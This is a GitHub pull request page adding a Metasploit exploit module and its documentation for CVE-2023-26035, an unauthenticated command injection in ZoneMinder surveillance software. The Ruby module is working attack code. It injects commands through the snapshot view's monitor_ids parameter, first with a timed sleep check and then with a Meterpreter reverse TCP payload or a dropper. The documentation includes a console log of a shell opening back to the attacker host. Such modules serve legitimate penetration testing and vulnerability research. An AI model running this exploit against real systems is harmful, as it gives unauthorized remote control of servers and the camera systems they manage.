Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Zoneminder snapshot #18434

Merged
merged 15 commits into from
Nov 10, 2023
Merged
Show file tree
Hide file tree
Changes from 5 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
68 changes: 68 additions & 0 deletions documentation/modules/exploit/unix/webapp/zoneminder_snapshots.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
## Description

This module exploits a command injection that leads to a remote execution in ZoneMinder surveillance software versions before 1.36.33 and before 1.37.33

More about the vulnerability detail: [2023-26035](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-26035).

The module will automatically use `cmd/linux/http/x64/meterpreter/reverse_tcp` payload.

The module will check if the target is vulnerable, by sending a sleep command.


## Vulnerable Application

[Zoneminder](https://zoneminder.com/) is a free and open-source software defined telecommunications stack for real-time communication, WebRTC, telecommunications, video, and Voice over Internet Protocol.

This module has been tested successfully on Zoneminder versions:

* 1.36.31~64bit on Debian 11

### Source and Installers

* [Source Code Repository](https://github.com/ZoneMinder/zoneminder/tree/1.36.31)
* [Installers](https://zoneminder.readthedocs.io/en/stable/installationguide/index.html)

**The 3rd party debian-repository has packages for the vulnerable versions(for example zoneminder=1.36.31-bullseye1)**


whotwagner marked this conversation as resolved.
Show resolved Hide resolved
## Verification Steps
Example steps in this format (is also in the PR):

1. Do: `use exploit/unix/webapp/zoneminder_snapshots`
2. Do: `set RHOSTS [ips]`
3. Do: `set LHOST [lhost]`
4. Do: `run`
5. You should get a shell.

## Options

### TARGETURI

Remote web path to the zoneminder installation (default: /zm/)

## Scenarios

In this scenario the zoneminder-server has the IP address 192.42.0.254. The IP address of the metasploit host is
192.42.1.188.

### Zoneminder 1.36.31-bullseye1

The following demo shows how to use the exploit with minimal settings:

```
msf6 exploit(unix/webapp/zoneminder_snapshots) > run

[*] Started reverse TCP handler on 192.42.1.188:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Elapsed time: 10.249642733018845 seconds.
[+] The target appears to be vulnerable.
[*] Fetching CSRF Token
[+] Got Token: key:b5da21a154bc5f46cd2b3648fe9e44931dd74bac,1697109606
[*] Executing nix Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending payload
[*] Sending stage (3045380 bytes) to 192.42.0.254
[*] Meterpreter session 1 opened (192.42.1.188:4444 -> 192.42.0.254:56398) at 2023-10-12 11:20:07 +0000
[+] Payload sent

meterpreter >
```
165 changes: 165 additions & 0 deletions modules/exploits/unix/webapp/zoneminder_snapshots.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,165 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ZoneMinder Snapshots Command Injection',
'Description' => %q{
This module exploits an unauthenticated command injection
in zoneminder that can be exploited by appending a command
to the "create monitor ids[]"-action of the snapshot view.
Affected versions: < 1.36.33, < 1.37.33
},
'License' => MSF_LICENSE,
'Author' => [
'UnblvR', # Discovery
'whotwagner' # Metasploit Module
],
'References' => [
[ 'CVE', '2023-26035' ],
[ 'URL', 'https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr']
],
'Privileged' => false,
'Platform' => 'linux',
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
'Targets' => [
[
'nix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
}
],
],
'CmdStagerFlavor' => [ 'printf' ],
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
'DefaultTarget' => 0,
'DisclosureDate' => '2023-02-24',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/'])
])
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)
return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200

if res.body !~ /ZoneMinder/
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')
end

csrf_magic = get_csrf_magic(res)
# This check executes a sleep-command and checks the response-time
sleep_time = 5
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}"
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
cgranleese-r7 marked this conversation as resolved.
Show resolved Hide resolved
res, elapsed_time = Rex::Stopwatch.elapsed_time do
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'data' => data.to_s,
'keep_cookies' => true
)
end
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
print_status("Elapsed time: #{elapsed_time} seconds.")
if res && sleep_time < elapsed_time
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
return Exploit::CheckCode::Appears
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
end

Exploit::CheckCode::Safe('Target is not vulnerable')
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown('Could not connect to the web service')
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
end

def execute_command(cmd, _opts = {})
command = Rex::Text.uri_encode(cmd)
print_status('Sending payload')
data = "view=snapshot&action=create&monitor_ids[0][Id]=;#{command}"
data += "&__csrf_magic=#{@csrf_magic}" if @csrf_magic
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'data' => data.to_s
)
print_good('Payload sent')
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
end

def exploit
# get magic csrf-token
print_status('Fetching CSRF Token')
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)
rescue ::Rex::ConnectionError
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end
whotwagner marked this conversation as resolved.
Show resolved Hide resolved

if res && res.code == 200
# parse token
@csrf_magic = get_csrf_magic(res)
else
fail_with(Failure::UnexpectedReply, 'Unable to fetch token.')
end
print_good("Got Token: #{@csrf_magic}")
# send payload
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

private

def get_csrf_magic(res)
return if res.nil?

token = res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text
unless token =~ /^key:[a-f0-9]{40},\d+/
fail_with(Failure::UnexpectedReply, 'Unable to parse token.')
whotwagner marked this conversation as resolved.
Show resolved Hide resolved
end
token
end
end